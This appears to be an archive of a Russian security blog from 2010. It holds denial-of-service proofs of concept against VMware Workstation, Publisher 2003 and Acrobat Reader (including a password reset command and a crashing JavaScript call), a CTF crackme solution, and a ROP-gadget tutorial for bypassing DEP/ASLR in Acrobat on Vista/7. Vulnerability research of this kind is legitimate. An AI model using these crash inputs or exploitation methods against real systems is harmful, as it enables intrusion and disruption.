7/16/2010

VMWareWorkstation 7.0.0 build-203739 vmware-authd.exe DoS PoC

Exploit Title: VMWare-authd.exe DoS
Date: 16.07.2010
Software Link: http://vmware.com
Version: VMWare Workstation 7.0.0 build-203739
Platform / Tested on: Windows 7 Release Candidate

The unhandled exception arises during processing input data which is sent to port 912. But before U must reset password for the __vmware_user__.

Example:
Launch cmd.exe with admin privileges;
> net user __vmware_user__ NEW_PASS
> telnet 127.0.0.1 912
telnet> user __vmware_user__
telnet> pass NEW_PASS
telnet> connect_argv AAAA

After them connection will be aborted.
There is debug-session:

text:00407378 lea eax, [ebp+ppSZ] ;(==0)
text:0040737B push eax
text:0040737C lea ecx, [ebp+var_C]
text:0040737F push ecx
text:00407380 lea edx, [ebp+Memory]
text:00407383 push edx
text:00407384 lea eax, [ebp+pCmd] ; "connect_argv\x20\x20AAAA\x00\x0A"
text:0040738A push eax
text:0040738B mov [ebp+var_1], 0
text:0040738F call vm_authd_CheckArgs_CONNECT_ARGV
text:00407394 mov esi, [ebp+var_C]
text:00407397 mov ebx, [ebp+ppSZ] ; is NULL.
...
text:0040745D mov eax, [ebx] ; (ebx == 0) => APPCRASH
text:0040745F push eax ; Memory
text:00407460 call esi ; free

Microsoft Office Publisher 2003 SP3 ptxt9.dll memmove() DoS vuln

Собственно очередная уязвимость в продукте(ах) от Microsoft Office Publisher 2003 c Service Pack 3. Уязвимость заключается в отсутствии достаточной проверки длины блока данных, перемещаемого из одной области вирт.памяти в др. область виртуальной памяти. Блок описывает временный *.tmp файл (назовем блок TEMP_MOD), который содержит вхождения модификаций файла публикации. Вот сам блок TEMP_MOD (точнее его часть):

00004E00 | E8 AC 2C 00 E8 03 06 01 A0 2F 00 00 13 00 00 01 è¬,.è... /......
00004E10 | 00 00 00 00 00 00 00 00 00 00 56 29 00 00 DC 00 ..........V)..Ü.
00004E20 | 00 00 0A 00 0B 00 00 00 00 00 00 00 B0 00 00 00 ............°...
00004E30 | 01 18 E8 AC 02 68 00 01 00 00 03 20 13 00 E8 03 ..è¬.h..... ..è.
00004E40 | 04 20 13 00 E8 03 05 20 0E 00 E8 03 07 20 0E 00 . ..è.. ..è.. ..
00004E50 | E8 03 08 20 A0 2F 00 00 09 C0 |66| 00 00 00 43 00 è..  /...Àf...C.
00004E60 | 3A 00 5C 00 55 00 73 00 65 00 72 00 73 00 5C 00 :.\.U.s.e.r.s.\.
00004E70 | 41 00 41 00 41 00 41 00 41 00 41 00 7E 00 31 00 A.A.A.A.A.A.~.1.
00004E80 | 5C 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 \.A.p.p.D.a.t.a.
00004E90 | 5C 00 4C 00 6F 00 63 00 61 00 6C 00 5C 00 54 00 \.L.o.c.a.l.\.T.
00004EA0 | 65 00 6D 00 70 00 5C 00 70 00 75 00 62 00 32 00 e.m.p.\.p.u.b.2.
00004EB0 | 34 00 33 00 38 00 2E 00 74 00 6D 00 70 00 00 00 4.3.8...t.m.p...
00004EC0 | 0A B8 56 29 00 00 0B B8 DC 00 00 00 0C 18 01 00 .¸V)...¸Ü.......
00004ED0 | 0D 20 E6 1F 00 00 0E 20 E6 1F 00 00 10 0E 00 00 . æ.... æ.......
00004EE0 | 01 20 84 00 00 00 02 20 13 00 E8 03 03 90 FE 0D . „.... ..è...þ.
Невалидные данные располагются по смещению 0х00004E5A: 4 байта \x66\x00\x00\x00, которые определяют длину блока TEMP_MOD. Это значение обрабатывается следующим образом: ... memmove(pvAllocatedMemory, pvTEMP_MOD_entry, dwSize); ... Здесь dwSize и есть то самое значение по смещению 0х00004E5A. Таким образом, указав достаточно большое значение (на моей лабораторной установке dwSize >= 0x0002F0B4), получим, что программа попытается не только сам блок TEMP_MOD, но и все, что располагается ниже (в сторону старших адресов). Вот так обрабатывает ptxt9.dll это вхождение: 3007356E PUSH EAX ; <-- невалидный размер блока для перемещения.
3007356F ADD ESI,6 ; <-- откуда коприуем.
30073572 PUSH ESI
30073573 PUSH EBX ; <-- куда копируем.
30073574 CALL MSVCRT.memmove>]
Собственно, уязвимость не поддается эксплуатации. Так что видим чистой воды DoS.
Link на образец(пароль lenta) sample

6/12/2010

CTF: Подробное решение квеста crackme.com

/** Positive Technologes for Positive People! CTF preview. **/

Собственно, рассмотрим крякмис от Positive Technologies, суть которого заключается в поиске логина и пароля, на основе которого расшифровывается строка "Positive Technologes for Positive People! CTF preview". Тест представлен ввиде MSDOS- приложения crackme.com (см. архив).

При запуске программа просит ввести логин и пароль, после чего проводит некоторую обработку и выводит расшифрованную строку на экран. Банальный брут здесь не эффективен, поэтому следует погрузиться в недры теста и провести некоторую рекогносцировку, чем собственно и займемся. И так:


start_0 proc near ; CODE XREF: start
seg000:06AD
seg000:06AD loginlen = word ptr -8
seg000:06AD iter = word ptr -6
seg000:06AD xored_login_add_1= word ptr -4
seg000:06AD var_2 = byte ptr -2
seg000:06AD
seg000:06AD enter 8, 0
seg000:06B1 push 76Eh ; offset of "login:"
seg000:06B4 call printf
seg000:06B7 add sp, 2
seg000:06BA mov [bp+loginlen], 0
seg000:06BF loc_106BF: ; CODE XREF: start_0+2B
seg000:06BF call read_key
seg000:06C2 mov si, [bp+loginlen]
seg000:06C5 mov [si+79Ah], al
seg000:06C9 call echo_key
seg000:06CC inc [bp+loginlen]
seg000:06CF cmp [bp+loginlen], 0FFh
seg000:06D4 jge short loc_106DA
seg000:06D6 cmp al, 0Dh
seg000:06D8 jnz short loc_106BF
seg000:06DA loc_106DA: ; CODE XREF: start_0+27
seg000:06DA mov al, 0Ah
seg000:06DC call echo_key
seg000:06DF dec [bp+loginlen]
seg000:06E2 mov si, [bp+loginlen]
seg000:06E5 mov byte ptr [si+79Ah], 0
seg000:06EA push large 0
seg000:06ED pop large [dword_10420]
seg000:06F2 mov [bp+iter], 0
seg000:06F7 loc_106F7: ; CODE XREF: start_0+65
seg000:06F7 mov ax, [bp+loginlen]
seg000:06FA cmp [bp+iter], ax
seg000:06FD jge loc_10714
seg000:0701 mov si, [bp+iter]
seg000:0704 movsx eax, byte ptr [si+79Ah]
seg000:070A xor dword_10420, eax
seg000:070F inc [bp+iter]
seg000:0712 jmp short loc_106F7
seg000:0714 loc_10714: ; CODE XREF: start_0+50
seg000:0714 and dword_10420, 10h
seg000:071A push 775h ; offset "password:"
seg000:071D call printf
seg000:0720 add sp, 2
seg000:0723 mov [bp+iter], 0
seg000:0728 mov ax, word ptr dword_10420 ; xored login
seg000:072B inc ax
seg000:072C mov [bp+xored_login_add_1], ax
seg000:072F loc_1072F: ; CODE XREF: start_0+A3
seg000:072F call read_key
seg000:0732 mov [bp+var_2], al
seg000:0735 mov al, [bp+var_2]
seg000:0738 mov si, [bp+iter]
seg000:073B mov [si+424h], al
seg000:073F mov ax, [bp+xored_login_add_1]
seg000:0742 cmp [bp+iter], ax
seg000:0745 jge loc_1074C
seg000:0749 inc [bp+iter]
seg000:074C loc_1074C: ; CODE XREF: start_0+98
seg000:074C cmp [bp+var_2], 0Dh
seg000:0750 jnz short loc_1072F
seg000:0752 push 442h
seg000:0755 push 89Ah
seg000:0758 push 37h
seg000:075A push 424h
seg000:075D call stream_decode@8
seg000:0760 push 89Ah
seg000:0763 push 77Fh
seg000:0766 call printf
seg000:0769 add sp, 4
seg000:076C leave
seg000:076D retn
seg000:076D start_0 endp


В начале программа читает логин до тех пор, пока не будет введен 0x0D (по нашему клавиша Enter) или не будет достигнута максимальная длина логина. После ввода логина программа последовательно XOR-ит каждый последущий символ логина:


seg000:06F7 mov ax, [bp+loginlen]
seg000:06FA cmp [bp+iter], ax
seg000:06FD jge loc_10714
seg000:0701 mov si, [bp+iter]
seg000:0704 movsx eax, byte ptr [si+79Ah]
seg000:070A xor dword_10420, eax
seg000:070F inc [bp+iter]
seg000:0712 jmp short loc_106F7


Говоря на языке C конструкция выглядит так:


extern unsigned char login[0xFF];
extern DWORD login_xored_0x0420;
extern unsigned char password_0x0424[0x10+1];

extern DWORD namelen;
for ( login_xored_0x0420 =0 , i=0; i < loginlen; i++ )
{
login_xored_0x0420 = login_xored_0x0420 ^ (DWORD)(login[i]);
}


После чего на XOR-еный логин накладывает маску ввиде AND login_xored_0x0420, 0x10. По сути, dw_0x0420 определеяет длину вводимого пароля, что мы и увидим ниже, а на данный момент достаточно выполнения условия, что (XOR(login)) AND 0x10 == 0x10.

Далее читается пароль, длиной которого является значение dw_0x0420. Сам пароль размещается сразу за login_xored_0x0420 по смещению 0x0424. После того, как пароль считан, вызывается нечто:


seg000:0752 push 442h ; arg_3 пока неизвестно
seg000:0755 push 89Ah ; arg_2 пока неизвестно
seg000:0758 push 37h ; arg_1 пока неизвестно
seg000:075A push 424h ; arg_0 пока неизвестно
seg000:075D call stream_decode@8


Названа stream_decode@8 таковой потому, что больше собственно расшифровывать текст в квесте некому. Для начала хотелось бы понять, что за параметры она принимает. При анализе кода start, stream_decode@8 выясняется, что:

arg_0==0х0424 - адрес пароля
arg_1==0x0037 - длина результирующей строки
arg_2==0х089A - адрес строки, выводимой на экран как результат.
arg_3==0х0442 - адрес вот такого массива:
unsigned char Mask[] = {
0x34, 0x69, 0xDB, 0xB8, 0x87, 0xB1, 0x7C, 0x3A, 0xE1, 0x4C,
0x4F, 0x46, 0x37, 0x20, 0x44, 0x75, 0x29, 0x1B, 0x9F, 0x86,
0x74, 0x16, 0xCD, 0x40, 0x38, 0x0F, 0x03, 0x22, 0x4E, 0x52,
0x4F, 0x65, 0xF2, 0x44, 0xF2, 0x76, 0xA6, 0xE3, 0x5E, 0x3A,
0x70, 0x16, 0x81, 0x73, 0x8A, 0x4C, 0x51, 0x12, 0xDB, 0xBF,
0x72, 0xE4, 0x52, 0x81, 0x06
};


Отбросим мусор в stream_decode@8 и выделим код, который несет нагрузку:
; arg_pass_value адрес пароля (==0х0424)
; arg_output_length в качестве (==0x0037)
; arg_out_string адрес результирующей строки (==0х089A)
; arg_pMask адрес массива Mask (==0х0442)
; var_Iter в качестве итератора (принимает значения от 0 до arg_output_length)
; offset_of_pointer как некоторое значение, которое косвенно определяет позиции символов, расшифровываемых
; на каждом этапе итерации (рассмотрим ниже, как к этому пришли)
; var_decoded_char промежуточное значение, которое было получено в результате вызова
; decode_current_char@8
;
seg000:056B mov ax, [bp+arg_output_length] ;
seg000:056E mov [bp+offset_of_pointer], ax
...
seg000:061D loc_1061D:
seg000:061D mov [bp+var_Iter], 0
seg000:0623 loc_10623: ; CODE XREF: stream_decode@8+1BC
seg000:0623 mov ax, [bp+arg_output_length]
seg000:0626 cmp [bp+var_Iter], ax
seg000:062A jge locret_106A9
... ;
... ; МУСОР
... ;
seg000:0640 push [bp+offset_of_pointer]
seg000:0644 push [bp+arg_pass_value] ; 0x0424
seg000:0647 call decode_current_char@8
seg000:064A mov [bp+var_decoded_char], al
... ;
... ; МУСОР
... ;
seg000:0660 mov si, [bp+arg_pMask]
seg000:0663 add si, [bp+var_Iter]
seg000:0667 mov al, [si]
seg000:0669 xor al, [bp+var_decoded_char]
seg000:066D mov si, [bp+arg_out_string] ; 0x089A
seg000:0670 add si, [bp+var_Iter] ; current iter
seg000:0674 mov [si], al
... ;
... ; МУСОР
... ;
seg000:0683 movzx ax, [bp+var_decoded_char]
seg000:0688 add ax, [bp+var_Iter]
seg000:068C mov [bp+offset_of_pointer], ax
... ;
... ; МУСОР
... ;
seg000:06A2 inc [bp+var_Iter]
seg000:06A6 jmp loc_10623
seg000:06A9 locret_106A9: ; CODE XREF: stream_decode@8+140
seg000:06A9 leave
seg000:06AA retn 8


В языке С эта функция выглядит примерно так:


extern unsigned char decode_current_char ( char * sz_password_in , unsigned short offset_of_pointer_in ) ;

void decode_stream (
__in char * sz_password_in ,
__in unsigned short length_in ,
__out char *sz_result_string_in ,
__in unsigned char * mask_in
)
{
unsigned short offset_of_pointer = length_in ;
unsigned char var_decoded_char ;

for ( unsigned short Iter = 0 ; Iter < length_in ; Iter++ )
{
var_decoded_char = decode_current_char ( sz_password_in , offset_of_pointer ) ;
sz_result_string_in[Iter] = var_decoded_char ^ mask_in[Iter] ;
offset_of_pointer = Iter + (unsigned short)var_decoded_char ;
}
return;
}


Из нее следует подчерпнуть следующую информацию, а именно: во время XOR-а var_decoded_char и элемента массива Mask на каждом шаге итерации мы получаем конечное значение символа разшифровываемой строки. Исходя из этого, мы можем построить массив "правильных" значений (назовем его result_before_xor) var_decoded_char для каждого символа конечной строки "Positive Technologes for Positive People! CTF preview":


unsigned char result_before_xor[0x37];
char * result = "Positive Technologes for Positive People! CTF preview.";
for (int i=0; i < 0x37 ; i++ )
{
result_before_xor[i] = result[i] ^ Mask[i]; // Mask определен выше
}


Получается нечто, похожее на:

unsigned char result_before_xor[0x37] =
{
0x64, 0x06, 0xa8, 0xd1, 0xf3, 0xd8, 0x0a, 0x5f,
0xc1, 0x18, 0x2a, 0x25, 0x5f, 0x4e, 0x2b, 0x19,
0x46, 0x7c, 0xfa, 0xf5, 0x54, 0x70, 0xa2, 0x32,
0x18, 0x5f, 0x6c, 0x51, 0x27, 0x26, 0x26, 0x13,
0x97, 0x64, 0xa2, 0x13, 0xc9, 0x93, 0x32, 0x5f,
0x51, 0x36, 0xc2, 0x27, 0xcc, 0x6c, 0x21, 0x60,
0xbe, 0xc9, 0x1b, 0x81, 0x25, 0xaf, 0x26
};


И так, мы знаем каждое значение для верного пароля, которое будет на выходе функции decode_current_char@8. Нам остается создать функцию, гипотетически обратную функции decode_current_char@8. Поясню: есть функция Yi = F(X1,Xi2), которой по сути является decode_current_char, тогда нужно создать такую функцию Z, что a = Z(F(X1,Xi2)), где а - символ (один или более) пароля. Следовательно, рассмотрим алгоритм decode_current_char@8. При создании функции Z следует обратить внимание на то, возможно ли сделать инверсию алгоритма или нет. Смотрим:


seg000:0479 decode_current_char proc near ; CODE XREF: stream_decode@16+15D
seg000:0479
seg000:0479 poisition_in_pass = dword ptr -6
seg000:0479 pair_chars_of_pass = word ptr -2
seg000:0479 arg_sz_pass_value = word ptr 4
seg000:0479 offset_of_pointer = word ptr 6
seg000:0479
seg000:0479 enter 6, 0
seg000:047D movsx eax, [bp+arg_offset_of_pointer]
seg000:0482 shr eax, 3
seg000:0486 mov [bp+poisition_in_pass], eax
seg000:048A and [bp+offset_of_pointer], 7
seg000:048E loc_1048E: ; CODE XREF: decode_current_char+29
seg000:048E mov eax, dword_10420
seg000:0492 cmp [bp+poisition_in_pass], eax
seg000:0496 jb loc_104A4
seg000:049A mov eax, dword_10420
seg000:049E sub [bp+poisition_in_pass], eax
seg000:04A2 jmp short loc_1048E
seg000:04A4 loc_104A4: ; CODE XREF: decode_current_char+1D
seg000:04A4 mov si, [bp+arg_sz_pass_value]
seg000:04A7 add si, word ptr [bp+poisition_in_pass]
seg000:04AA movzx ax, byte ptr [si]
seg000:04AD mov [bp+pair_chars_of_pass], ax
seg000:04B0 inc [bp+poisition_in_pass]
seg000:04B4 mov eax, dword_10420
seg000:04B8 cmp [bp+poisition_in_pass], eax
seg000:04BC jb loc_104C8
seg000:04C0 mov eax, dword_10420
seg000:04C4 sub [bp+poisition_in_pass], eax
seg000:04C8 loc_104C8: ; CODE XREF: decode_current_char+43
seg000:04C8 mov si, [bp+arg_sz_pass_value]
seg000:04CB add si, word ptr [bp+poisition_in_pass]
seg000:04CE movzx ax, byte ptr [si]
seg000:04D1 shl ax, 8
seg000:04D4 or [bp+pass_char], ax
seg000:04D7 inc [bp+poisition_in_pass]
seg000:04DB mov cl, byte ptr [bp+offset_of_pointer]
seg000:04DE shr [bp+pair_chars_of_pass], cl
seg000:04E1 mov al, byte ptr [bp+pair_chars_of_pass]
seg000:04E4 and al, 0FFh
seg000:04E6 leave
seg000:04E7 retn 4
seg000:04E7 decode_current_char endp


Сперва определяется стартовая позиция символов пароля, на основе которых будет расшифровываться очередной символ зашифрованной строки.Сделует отметить, что каждый символ зашифрованной строки расшифровывается на основе двух соседних символов пароля, позиция первого символа задается вычисляемым значением poisition_in_pass. В случае если poisition_in_pass является последним символом в пароле, то в качестве второго символа задействуется нулевой символ пароля. Последовательность действий следующая:
-1- получить смещение пары символов пароля, на основе которых строится символ расшифровываемый строки (точнее символ из масиива result_before_xor[]- его мы определили ранее). Обозначим смещение как i.
-2- определить число битов для сдвига для "спаренного" значения двух соседних символов пароля. Обозначим как shifter.
-3- извлечь i-ый символ пароля как S1.
-4- извлечь ((i+1)&0x10)-ый символ пароля и сдвинуть его значение нв 8 бит влево. Обозначим рез-т как S2.
-5- произвести операцию OR на элементами из п.4 и п.5 (RES1 = OR(S2,S1))
-6- сдвинуть вправо результат из п.5 на количество битов, определенное в п.2 (RES2 = RES1 >> shifter)
-7- взять младший байт из результата п.6 и вернуть. (return LOWBYTE(RES2))

Стоит отметить один важную особенность алгоритма: ЕСЛИ ЗНАЧЕНИЕ shifter НУЛЕВОЕ, ТО РЕЗУЛЬТИРУЮЩИЙ БАЙТ ЯВЛЯЕТСЯ ПЕРВЫМ СИМВОЛОМ ИЗ ПАРЫ СИМВОЛОВ ПАРОЛЯ. Эта особенность позволяет сразу выявить без предварительного анализа некоторые символы пароля.
Теперь построим обратный алгоритм. Вспомним массив Mask[]. Там каждый элемент является усечением результата pair_chars_of_pass, то есть выполнимо тождество:


mask[i] == (unsigned char)pair_chars_of_pass. Здесь pair_chars_of_pass имеет тип unsigned short.



Теперь ВАЖНЫЙ МОМЕНТ: мы помним как вычисляется значение offset_of_pointer: как сумма результирующего байта var_decoded_char и значения Iter (если придерживаться 'C'-версии функции decode_stream), причем для Iter==0 offset_of_pointer==0x0037. Таким образом мы знаем значения и arg_offset_of_pointer, и poisition_in_pass (из участка кода, представляющего ф-цию decode_current_char). Будем использовать три входных параметра:
I-значение итерации,
Res - I-ый байт из массива mask[],
offset_of_pointer- расчитываемое значение смещения первого используемого символа пароля.

При этом для offset_of_pointer действует следующая зависимость:
offset_of_pointer(i) = Res(i-1) + i;
Теперь осталось построить функционал преобразования этих трех параметров, который выплюнет нам на выходе конечный символ пароля или некотороую битовую составляющую, которая обязательно должна быть представлена в символе пароля.
В этом алгоритме самым важных пожалуй будет получить значение pair_chars_of_pass (назовем его как Ored) до опереции:


...
seg000:04DE shr [bp+pair_chars_of_pass], cl
...


где cl == (offset_of_pointer(i) & 7).
А значение Ored определим как результат операции, обратной к операции по адресу seg000:04DE, то есть
Ored(i) = Res(i) << (offset_of_pointer(i) & 7).
Согласен с тем, что Ored(i) может не содержать полного представления двух символов пароля, поскольку мы обладаем только усеченным значением pair_chars_of_pass:


seg000:04E1 mov al, byte ptr [bp+pair_chars_of_pass]
seg000:04E4 and al, 0FFh


И следовательно первый символ символьной пары из пароля есть как LOWBYTE(Ored(i)), а второй HIGHBYTE(Ored(i)).
Ранее было выявлено очень важное свойство алгоритма: если значение (offset_of_pointer(i) & 7) равно нулю, то получаем 100% правильное значение 1-го символа из парольной пары. По остальным символам можно поступить следующим образом: если "светится" очердная позиция символа пароля, то значение этого символа можно определить как
password[i] = password[i] | LOWBYTE(Ored(i))
password[i+1] = password[i+1] | HIGHBYTE(Ored(i)).
Позиции символов мы расчитваем так же как они представлены в функции decode_current_char.

После переноса рассуждений и умозаключений в программную реализацию получаем следующий пароль (звездочкой помечены те символы пароля, которые были вычислены на основе равенства нулю результата выражения offset_of_pointer(i) & 7):
pass[0] = '@';
pass[1] = 'T'; // *
pass[2] = '_'; // *
pass[3] = 'B';
pass[4] = 'T';
pass[5] = 'F'; // *
pass[6] = '_'; // *
pass[7] = '2'; // *
pass[8] = '0';
pass[9] = '1';
pass[0xA] = '0';
pass[0xB] = '_'; // *
pass[0xC] = 'a';
pass[0xD] = 'p'; // *
pass[0xE] = '2';
pass[0xF] = 'l'; // *
Как вы могли заметить, логин определяет только размер пароля: либо 0х10 символов, либо 0 (во втором случае программа не вернет вам управление). Считайте, что логин явялется флагом, определяющим возможность дальнейшей обработки ввода.

А вот код программы на закуску:


#include "windows.h"
#include

#define STREAM_LENGTH 55

// расшифрованная строка
unsigned char *stream_decoded = "Positive Technologes for Positive People! CTF preview.";

unsigned char stream_mask[STREAM_LENGTH] = {
0x34, 0x69, 0xDB, 0xB8, 0x87, 0xB1, 0x7C, 0x3A, 0xE1, 0x4C, 0x4F, 0x46, 0x37, 0x20, 0x44, 0x75,
0x29, 0x1B, 0x9F, 0x86, 0x74, 0x16, 0xCD, 0x40, 0x38, 0x0F, 0x03, 0x22, 0x4E, 0x52, 0x4F, 0x65,
0xF2, 0x44, 0xF2, 0x76, 0xA6, 0xE3, 0x5E, 0x3A, 0x70, 0x16, 0x81, 0x73, 0x8A, 0x4C, 0x51, 0x12,
0xDB, 0xBF, 0x72, 0xE4, 0x52, 0x81, 0x06
};

unsigned char stream_unXORed[STREAM_LENGTH];

#define PASSWORD_LEN 0x10
unsigned char password[PASSWORD_LEN];


int main(int argc, char **argv)
{
for (int i=0;i {
stream_unXORed[i] = stream_decoded[i] ^ stream_mask[i];
}

memset(password,0, PASSWORD_LEN);

for (int t = 0x02 ;t {
unsigned char res_prev = stream_unXORed[t];
unsigned char res_t = stream_unXORed[t+1];
unsigned char It = res_prev + t;
unsigned short unkn=0, ored=0;
unsigned char ored_high=0, ored_low=0;
unsigned int shifter=0; // вычисляемая позиция первого символа из пары символов пароля

__asm {
pushad
xor eax,eax
mov al, It
shr eax, 3
mov shifter, eax
popad
}
unkn = (unsigned short)(It)&0x7;
while(shifter>=0x10)
{
shifter -= 0x10;
}
__asm
{
pushad
xor eax, eax
xor ecx, ecx
mov al, res_t
mov cx, unkn
shl eax, cl
mov ored, ax
mov ored_low, al
mov ored_high, ah
popad
}
password[shifter] = password[shifter] | ored_low;
((shifter+1)==0x10)
? (password[0] = password[0] | ored_high )
: (password[shifter+1] = password[shifter+1] | ored_high );
printf( "----------------- T= 0x%02x RES_t= 0x%02x -----------------\n"
" password[0x%01X;0x%01X]\n"
" unkn={0x%02x}\n"
" ored={0x%04X} %s\n\n",
t,res_t,
shifter, shifter+1,
unkn,
ored,
((unkn) ? " " : "100% MATCHED")
);
}

printf("-------------PASSWORD------------\n");
for (int m=0;m {
printf("pass[0x%02x] = 0x%02X\n", m,password[m]);
}

return 0;
}


4/09/2010

Adobe Acrobat: Уязвимость при выполнении метода в JavaScript

Относительно недавно автором поста была обнаружена уязвимость в программных продуктах от Adobe. Для тех, кто не в курсе, напомнню. Уязвимость связана со всеми продуктами, поддерживающими обработку скриптов на языке JavaScript. К настоящему моменту уязвимость подтверждена для программ Acrobat Reader версий 8.0.1, 8.0.2, 8.0.3, 8.0.4, 9.1.0.
Уязвимость связана с использованием недокументированного метода "printSeps". Указанный метод поставляется библиотекой Escript.api. При обработке данного метода Escript.api вызвает метод из AcroRd32.dll с невалидными параметрами.

Для "провокации" программы достаточно открыть pdf-документ одной из вышеуказанных программ, содержащий в себе скрипт со следущим содержанием с последующей его интерпретацией программой:

//
// this script generates DoS in Acrobat Reader 8.0.1/2/3/4,9.1.0
console.show();
console.clear();
console.println("start processing...");
this.printSeps(); // вылим обработчик
console.println("end."); // данная строка кода никогда не выполнится
//
// end of script

Загрузив программу в отладчик (например, OllyDbg или DynamicTestAnalyzer) и открыв такой документ, можно увидеть следущее:

//exception: ACCESS_VIOLATION in AcroRd32.dll
0x******** | mov ecx, dword ptr ds:[eax+8] | EAX == 0xFEEEEEEE

discovered by amisto0x07

3/28/2010

раскрутка уязвимостей переполнения буфера на Windows NT6

Собственно, в посте рассмотривается один из подходов к эксплуатации уязвимостей на NT6 (Windows Vista/Seven и подобных клонах). Он не единственный и не претендует на уникальность, тем не менее у многих вызывает некоторые сложности в освоении, посему попытаемся устранить этот пробел. Для эксперимента будет использован эксплойт villy (все подробности на http://bugix-security.blogspot.com/20...tcve.html) и программа Adobe Acrobat 9.0.0 Pro Extended.
Практика показывает, что большинство авторов затачивают свои творения под Windows XP и под другие подобные поделки Microsoft-а пятого билда. Если взять любой сплойт под софт на Windows XP, то вряд ли вы увидите, как он добросовестно отработает на Vista/Seven, - результатом его работы скорее всего будет окно с недвухсмысленным содержанием "Прекращена работа приложения" - причина APPCRASH.

Применительно к сплойту villy - на его блоге написано следующее(цитирую):
"Exploit in this file successfully executed in Adobe Reader 9.2, 9.3 on Windows XP (SP2, SP3) but didn't work on Windows Vista and Windows 7."
Да, это так: сплойт не работает под Vista/Seven, но это не означает, что нельзя эту уязвимость заэксплуатировать на NT6.
И так, слабонервных просим удалиться. Приступим.
В общем уязвимость позволяет переписать область стека, в котором располагаются в частности адреса возвратов. Взглянем на стек после перезаписи:
_______________________
0x0026e070| 080c0c00 ; адрес 0x0026e070 используется в качестве назначения для функции memcpy
0x0026e074| 00010124
0x0026e078| 070072f7 ; первый адрес возврата
0x0036e07c| ........

На первый взгляд кажется, что на Vista или Seven привязаться не к чему: база стека при каждой загрузке программы меняется, базовые адреса модулей, используемых программой, также меняются, а базы системных модулей ntdll.dll и kernelbase.dll меняются с каждой перезагрузкой системы. К нашему счастью (для чистоты эксперимента) в адресном пространстве Adobe Acrobat 9.0.0 Pro Extended такой модуль есть, и имя ему acaptuser32.dll. О его назначении остается только догадываться, но об этом пусть думают другие. Кстати говоря, в Acrobat Reader 9.x.x также есть модуль, который располагается в АП процесса по фиксированному адресу, что повышает ваши шансы заюзать клиентскую машину и Adobe Acrobat 9 Pro и Acrobat Reader 9. Методика заключается в использовании инструкций вышеуказанного модуля (а в общем тех, что лежат по фиксированному вирт. адресу).
И так, есть модуль acaptuser32.dll, расположенный по фиксированному адресу 0x10000000 в АП процесса. Всё, что нужно - подобрать адреса нужных нам наборов инструкций. Для наиболее быстрого решения задачи эксплуатации будем искать адреса блоков инструкций, имеющих следующий вид:
инструкция_1
инструкция_2
инструкция_N
retn i
Также вы вольны выбрать и другие инструкции. Наиболее пригодным средством (по мнению автора) для этого будет OllyDbg, поскольку она умеет искать конкретную инструкцию или набор инструкций. Вот, что получилось (для пояснения: в коментариях указаны операции, выполняемые процессором согласно их порядку следования):
#----------------------------
# (eax=0) && (retn)
100059B8 XOR EAX,EAX
100059BA RETN

#----------------------------
# (eax=0) && (eax++) && retn
1000185E XOR EAX,EAX
10001860 INC EAX
10001861 RETN

#----------------------------
# (*eax=0) && (al=1) && (retn)
10001CB4 MOV BYTE PTR DS:[EAX],0
10001CB7 MOV AL,1
10001CB9 RETN

#----------------------------
# (eax = eax OR ebx ) && (pop ebx) && retn
100026E6 OR EAX,EBX
100026E8 POP EBX
100026E9 RETN

#----------------------------
# (al=1) && (retn
10002929 MOV AL,1
1000292B RETN 8

#----------------------------
# (retn 0x0C)
10002A2F RETN 0C

#----------------------------
# (edi++) && (*esi += edi) && (pop edi) && (pop ebx) && (pop esi) && (retn)
100031DA INC EDI
100031DB ADD DWORD PTR DS:[ESI],EDI
100031DD POP EDI
100031DE POP EBX
100031DF POP ESI
100031E0 RETN

#----------------------------
# (eax = *(esp+4)) && (retn)
100045B5 MOV EAX,DWORD PTR SS:[ESP+4]
100045B9 RETN

#----------------------------
# (pop ecx) && (pop ecx) && (retn)
10004875 POP ECX
10004876 POP ECX
10004877 RETN

#----------------------------
# (i=eax; eax=esp; esp=i) && (eax = *(eax)) && (*(esp)=eax) && (retn)
10004C8B XCHG EAX,ESP
10004C8C MOV EAX,DWORD PTR DS:[EAX]
10004C8E MOV DWORD PTR SS:[ESP],EAX
10004C91 RETN

#----------------------------
# (eax=0) && (pop esi) && (retn)
10005165 XOR EAX,EAX
10005167 POP ESI
10005168 RETN

#----------------------------
# (pop ebx) && (retn)
100052AB POP EBX
100052AC RETN

#----------------------------
# (eax = *(eax)) && (pop esi) && (retn) отличный вариант для разимнования
10005355 MOV EAX,DWORD PTR DS:[EAX]
10005357 POP ESI
10005358 RETN

#----------------------------
# неплохой способ для передачи управления по *(esp)
# c сохранением eax в стек
# (eax <=> *(esp)) && (goto eax)
100055CC XCHG DWORD PTR SS:[ESP],EAX
100055CF JMP EAX

#----------------------------
# отлично подойдет для вызова функции с количеством аргументов
# от 0 до 3 (идеальный вариант для вызова memcpy)
100057E9 PUSH EDI
100057EA PUSH ESI
100057EB PUSH EBX
100057EC CALL EAX

#----------------------------
# (eax=esi) && (pop esi) && (retn)
100062C6 MOV EAX,ESI
100062C8 POP ESI
100062C9 RETN

#----------------------------
# (eax=edi) && (pop esi) && (retn)
10006301 MOV EAX,EDI
10006303 POP ESI
10006304 RETN

#----------------------------
# (eax = *(esp+) && (pop esi) && (retn)
10006452 MOV EAX,DWORD PTR SS:[ESP+8]
10006456 POP ESI
10006457 RETN

#----------------------------
# (eax+=0x08) && (retn)
10006DDA ADD EAX,8
10006DDD RETN

#----------------------------
# (eax+=0x0C) && (retn)
10006E00 ADD EAX,0C
10006E03 RETN

#----------------------------
# (*(esi) OR eax) && (retn)
100071AD OR DWORD PTR DS:[ESI],EAX
100071AF RETN

#----------------------------
# ((*(esi))++) && retn
100071B0 INC DWORD PTR DS:[ESI]
100071B2 RETN

#----------------------------
# (jmp ecx)
10008D5B PUSH ECX
10008D5C RETN

Выше приведен далеко не полный перечень наборов инструкций, которые могуть быть использованы. Также в модуле реализованы функции копирования (типа memcpy), поиск которых я оставляю вам.

Каким образом построить эксплойт? Здесь каждый выбирает сам. Стоит учесть, что на на Windows NT6 узким местом является DEP + ASLR. Первый ограничивает выполнение кода в страницах памяти, которые помечены как "неисполняемые" (при условии, что DEP thunk emulation не разрешен для процесса). Второй органичивает передачу управления по заранее известному адресу. Оптимальным вариантом будет алгоритм шеллкода:
1 - выделение процессу страниц памяти с атрибутами READ | WRITE | EXECUTE
2 - копирование шеллкода (или его "загрузочной" части) в выделенную память
3 - передача управления на шеллкод (в общем, на то, что скопировали в п.2)

